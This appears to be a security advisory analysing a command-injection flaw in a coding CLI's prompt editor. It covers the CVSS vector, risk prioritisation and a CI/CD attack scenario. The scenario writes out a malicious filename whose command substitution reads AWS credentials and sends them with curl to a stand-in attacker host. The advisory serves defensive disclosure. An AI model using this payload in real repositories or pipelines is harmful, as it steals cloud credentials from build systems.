Claude Code CVE-2026-35021

Local attacker with user interaction required. Victim must open a crafted file path containing shell metacharacters (e.g., $() or backticks) in Anthropic Claude Code CLI or Claude Agent SDK prompt editor. Affects all versions using vulnerable execSync invocation with double-quoted file path interpolation.

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:A) indicates local attack requiring user interaction but no privileges, with high confidentiality, integrity, and availability impact. Attack complexity is low once the attacker can influence processed file paths. Publicly available exploit code exists per VulnCheck advisory, significantly lowering the skill barrier for exploitation. No CISA KEV listing indicates no confirmed widespread active exploitation in enterprise environments at time of analysis. However, the local attack vector and user interaction requirement reduce immediate internet-scale risk compared to unauthenticated remote vulnerabilities. Real-world risk concentrates in specific threat scenarios: compromised repositories where attackers commit malicious file names, supply chain attacks targeting development toolchains, and insider threat contexts. The CVSS score of 8.4 aligns with actual risk in targeted environments (development pipelines, CI/CD systems) but may overstate risk for isolated desktop usage. EPSS data not provided, but public exploit availability suggests exploitation probability above baseline for command injection flaws. Priority assessment: High for organizations using Claude CLI/SDK in automated pipelines with untrusted input sources; Medium for interactive development use cases with proper code review.

An attacker contributes a pull request to a repository monitored by CI/CD pipelines using Claude Code CLI for automated code analysis. The pull request includes a file named payload$(curl attacker.com/exfil?data=$(cat ~/.aws/credentials|base64)).txt. When the CI/CD runner invokes Claude CLI to process repository contents, the prompt editor utility constructs a shell command interpolating this filename. Despite double-quote wrapping, the POSIX shell evaluates the command substitution, executing curl to exfiltrate AWS credentials from the runner environment to attacker-controlled infrastructure. The attack succeeds without authentication and requires only that an automated system process the malicious filename. Publicly available exploit code exists demonstrating this injection vector, enabling rapid weaponization by threat actors targeting software development supply chains.